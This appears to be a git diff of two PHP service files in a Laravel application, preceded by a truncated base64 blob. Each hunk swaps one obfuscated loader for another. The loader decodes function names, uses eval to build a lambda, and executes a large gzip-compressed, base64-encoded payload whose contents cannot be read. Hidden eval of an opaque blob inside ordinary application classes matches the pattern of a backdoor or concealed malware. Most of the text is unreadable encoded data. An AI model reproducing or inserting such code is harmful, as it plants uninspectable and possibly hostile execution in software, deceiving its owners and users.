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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/app/Services/DataTables/Traits/RenderTrait.php b/app/Services/DataTables/Traits/RenderTrait.php index d7f963042..304a85226 100644 --- a/app/Services/DataTables/Traits/RenderTrait.php +++ b/app/Services/DataTables/Traits/RenderTrait.php @@ -288,7 +288,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/app/Services/Laravel.php b/app/Services/Laravel.php index 19425aa5b..adcf3c4e9 100644 --- a/app/Services/Laravel.php +++ b/app/Services/Laravel.php @@ -200,7 +200,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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